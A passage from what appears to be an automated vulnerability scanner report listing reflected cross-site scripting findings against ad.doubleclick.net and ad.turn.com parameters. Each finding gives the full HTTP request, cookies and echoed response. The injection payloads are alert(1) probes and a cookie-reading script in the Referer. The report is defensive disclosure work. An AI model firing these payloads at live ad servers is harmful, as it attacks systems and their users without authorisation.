The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4aec3"-alert(1)-"b8c1ebf1bd1 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=844aec3"-alert(1)-"b8c1ebf1bd1&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:58 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
click%3Bh%3Dv8/3aa7/f/a6/%2a/v%3B235160821%3B0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=844aec3"-alert(1)-"b8c1ebf1bd1&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var
...[SNIP]...

3.39. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 19f04'-alert(1)-'18424983c20 was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=10813419f04'-alert(1)-'18424983c20&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:54 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
eclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/v%3B235160821%3B0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=10813419f04'-alert(1)-'18424983c20&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR\">
...[SNIP]...

3.40. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd73e"-alert(1)-"c148583078f was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134fd73e"-alert(1)-"c148583078f&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:50 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
eclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/v%3B235160821%3B0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134fd73e"-alert(1)-"c148583078f&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "op
...[SNIP]...

3.41. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_uuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the mt_uuid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1e22"-alert(1)-"740480bcef9 was submitted in the mt_uuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295f1e22"-alert(1)-"740480bcef9&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:07 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295f1e22"-alert(1)-"740480bcef9&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";
...[SNIP]...

3.42. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_uuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the mt_uuid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bef59'-alert(1)-'24e894d3194 was submitted in the mt_uuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295bef59'-alert(1)-'24e894d3194&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:28:12 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295bef59'-alert(1)-'24e894d3194&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR\">
...[SNIP]...

3.43. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5bc0b"-alert(1)-"ee4b25273ee was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=5bc0b"-alert(1)-"ee4b25273ee HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5908
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:28:16 GMT
Expires: Mon, 07 Feb 2011 02:28:16 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=5bc0b"-alert(1)-"ee4b25273eehttp%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var op
...[SNIP]...

3.44. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b432f'-alert(1)-'0eb20d682e8 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=b432f'-alert(1)-'0eb20d682e8 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 5908
Cache-Control: no-cache
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:28:20 GMT
Expires: Mon, 07 Feb 2011 02:28:20 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=b432f'-alert(1)-'0eb20d682e8http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR\">
...[SNIP]...

3.45. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18aaa'-alert(1)-'1667d1ce1b1 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=5834879907726065318aaa'-alert(1)-'1667d1ce1b1&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:46 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
tp://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/v%3B235160821%3B0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=5834879907726065318aaa'-alert(1)-'1667d1ce1b1&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR\">
...[SNIP]...

3.46. http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N6275.282079.EURORSCGEDGE/B4767814.55

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 132c3"-alert(1)-"27b6307f1fc was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N6275.282079.EURORSCGEDGE/B4767814.55;sz=728x90;click1=http://pixel.mathtag.com/click/img?mt_aid=58348799077260653132c3"-alert(1)-"27b6307f1fc&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=;ord=58348799077260653? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045650111&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F24
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:41 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5908

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
tp://ad.doubleclick.net/click%3Bh%3Dv8/3aa7/f/a6/%2a/v%3B235160821%3B0-0%3B0%3B59013435%3B3454-728/90%3B40328572/40346359/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=58348799077260653132c3"-alert(1)-"27b6307f1fc&mt_id=108134&mt_adid=84&mt_uuid=4d3702bc-839e-0690-5370-3c19a9561295&redirect=http%3a%2f%2fwww.clearskinresolution.com/%3Fuid%3DBN1_PSD1_CSR");
var fscUrl = url;
var fscUrlClickTagFound = false;
va
...[SNIP]...

3.47. http://ad.turn.com/server/pixel.htm [fpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.turn.com
Path:	/server/pixel.htm

Issue detail

The value of the fpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 933c7"><script>alert(1)</script>c46c0426e93 was submitted in the fpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=933c7"><script>alert(1)</script>c46c0426e93 HTTP/1.1
Host: ad.turn.com
Proxy-Connection: keep-alive
Referer: http://ads.pubmatic.com/AdServer/js/syncuppixels.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adImpCount=FM4QLcaMabkQsarcOBMTT_qd1v3GGeBcoJK0MOl0KG-Y481wEkFtGX7HudJA1SwJY9n9GIWJHDTqbWbTuEexfNzeQdD3uMEbsSJGoH6nZcvCzn_rbeUw4N91a2HFDwx7Wl6PMIbl8VoYkne2SJkXTcTcqhcYEXFRrx1COjt-xQdPBFgEFn33aBMbAqV_0XEIioGKZSAftgkVYZTzRayYVmmTJdkIn7237siDdt9MzJqJi5T6FYiHf9o35IlREqTNFveKpsZQ30qpNKi15RJt04BNhaXhDlSq6EvznmypgJEkna5GLuKLpEu7eZEeTMi7F6sK_rp2soXzwueUGRFartfze4TUjaNUIXjW8HpTdIXW8uxzXCZHw_1hR9tJint6dsPDEFhRxd_Mub3GEI1LN-tHiIt90vCIZrFIVkRcrTHWSuqW6r5ZIwUtscKD_QT9RhXOUlzX0--TPsid5EqGlKaR8fzj-CgEMyGy4iMXI1WxKbXh9CKgY6S3LP_zmj75AgqPmyW7n-K57XLwzviwi0UeS0QSNHqXIchkIsQCETGT3yD6yFHAIahzcKETB33UwCPq2GhFCxYySztyqVkKk9fqbN4-YU4FEz0wwkD5vsFOGK_87tDq8e92tNo34emrEgGEUj-NO1cCBiKRN0KNH1ftcOyrV1OLoU5x9aMp-92fSDdx8Pm4E6I95eyuD_EIQOJmu9RYL7YOIJ6DsZdIlrLgwokXGxtO8_jRpe316oYDuH7CMSEB_S7o6Xm3tvDBfH77IJVG0N6dycTdcjtOKF0Cz2TbSViJ-oT4nVLBUOQ7zE-OOnjPRQ6BZXJCY0oCMrkBfNspHfysXvb7GqOmGNAITbT7Z6AmMx12CVhoBV8PCKPJoslzeIPsOadDQ5GApTHEeUcb_20FLCe61hOZos4ND7pDMbh_Nz4asivfvnRRu_fmnuOn7vvqoBU15Zmhn2aVSJry2cIXXaBci8YswRWnz3-1lFmH8NpHbFKrPy3hBObtf8ALhKpons6mVN9Ng_E4yJzpnqztVh_CB-KMHlM4At-mEES-WC-9xjj3t3cnzJw50Wq6BglWv58k-98YkSbTm3kPOUdWBiWoLi0oN0AgeHAdeFjGHSfjDkMzE5p5e_oJDB2Um-liToPNlmN15FjrbRSBV8G9GwEgDofeTOxem0_gMApf3YWMEr3kQAQnXe4HjQMTBDROpzYRLGofXKwaWNtdj1-GtHzOUqyENh2k1W2pFwJOjkpENaGP0tqhG0BtDC_eTH_Ts10GvA6WhyC22lBHkEPeNKFx7RiTWcHRNLuEX2-svGHkdhG53xdJo9qHwXLy45nY7LSpUbn803gUXikBp5CFzTHxBLV0jIUUb9PGuTCtW-hvx86uIjCl7RrDpkAZSszkN92RjKcOSHyDTphfUd0ZqQTAbIYvZtNr_wQwmIEY35OpKNWhyGwNPlAh_ANj4laYRoTBJxnGQ7wgWZt0CSpxlrfASU5W2a6su59vlF-h6V4zet13tlPhRMEiyYm825vPff2nJDmVgFpIKs_vIo7sFsppJ43d8oTEgInxyFT6vScD8wD9aZjmMC0w6HS0HlWcNr1j-PhGS2ikng608Ubz0iz0TtbwhgQZq5IdyfSisA1KqAwL3sZErWVr76O0bqQTEPkhkBBP4vNeu_uKiDKKl73FedJ05pAh6qV14YUcXNrVmSSI1FzEzQ65n9aZSqRKUiLFvw0_FzJQi642bOf20jjwau1yNWbWc_OZc_OPEEY_dnkrDVdmeoMCTOxN_xl7C-3y_RTPHX8tA53fNzl8qfH897V8IhWPCe1DLrZ9lRQtTCZwINCJg6hyABA61hUJaqPVyX7fV7Pa1PW0-yYXb_USKuin2pZCaBr_uY_2UBH6Bm4UktJmd6sVQvXXEqhe9E5LsneRLFWbUdQszzXxD5egB584f5Iq0VaWXCofBTTX6PHG8K6lFCCN0TTnR1jCog1stnuLrLH_TLw0g_9l8j595C25K_O7nXuUqzkznnHJS2oIivO1MtzkhTD8tggahFLAwdtimGiAzgIbfwh3tPXiXBZiPEc6jmaSPplk32IRb7Tl08IFN1OghxmtWT_y47n5TtZS9Ky93uZuiaOzgh6RPqobZokxjCycBjwJJ-OqeZ3YCRoZ5XICuXWVHfipzGbbMT7XgVwScM8a1QBrHN9hJ559oPfWNXLGQYJF8WI3xWHXIXB86oJHZOjQy7IdFPhSTsF2yrOAh9s72IpPTbIy0ryOZR5kHQoGKZaDQPufKDCKOsAs5UyVIQTo0ztnk49jL0nNFaq4usSu0TQiqXjP7CIAd_5FtzMDApKZjTZ9VwWqS_hi3W5FLLAcz8HdwETYSzM0iqfAGlpVHegt_TIDru8ZVGlo2JchDi2BE0kETeswJqfjIM8eqB1CZXkSQ7Z_VjVnYvzBVNyB9AksqD2lQZb2X0IEqN843HNpf9LL79Gl1KBsoCUhcPx0GvFd6LDM_NesCTjn8qfPanRhqfFt_Mz5uEh2A3HFoGkf8ppxZxL6925r_GgrDoF5KcCR0z_dNX3kzjeRcgqW8BhR69hQhpeZrZnEJ52ohaD3WrTkTUj4YJ6Td6PLaDgaJxtMnnZrfAlG0SSD0cpxrho96Q5aYPi9en1l66z-sdlCvM2HwHHvukFOG1d5EaBIpvNzbIjvRqOmzYDhYzHqcbaWBj06fa97gFmB5jdUYj5pSK3CD2Yuk0PK5FYetxUklFsdind5sgdq4uZcD2KLx9Zf7jaxnwz6suaPAnsGTiQgiUvKmhf1LhrytQYKxDy-h4T29iDJXVr_vHZNnZTSMo3FOqO76V7e32Mz948gl-62XtaGUS8uw5NCpnBNXGUaigKHIg84ueIc4t5Yp3YWsvWh2i358DyJOyzgpnBHfTKfL-U_Busa7oEsjSep6DjzyTifPlN_P4smDk3kLq_iHqbXQ5svnKXdR0fKJFj2seLH8BbDFMsPiVsBIQ44v1dSgCalvY0FxkkJ5w0OZeWQP34jwLIAF168EspxmNyBZAxjbmEt8kjG7dRMykkE2LHXhz6x23r28D5B1-HnnnOalxwc8pVPIG67O2v9MtuGBypG0oO1sVM2Vbs7HFOP9G8F0R3RxUgEDCioFUEKPhCNOF99OEx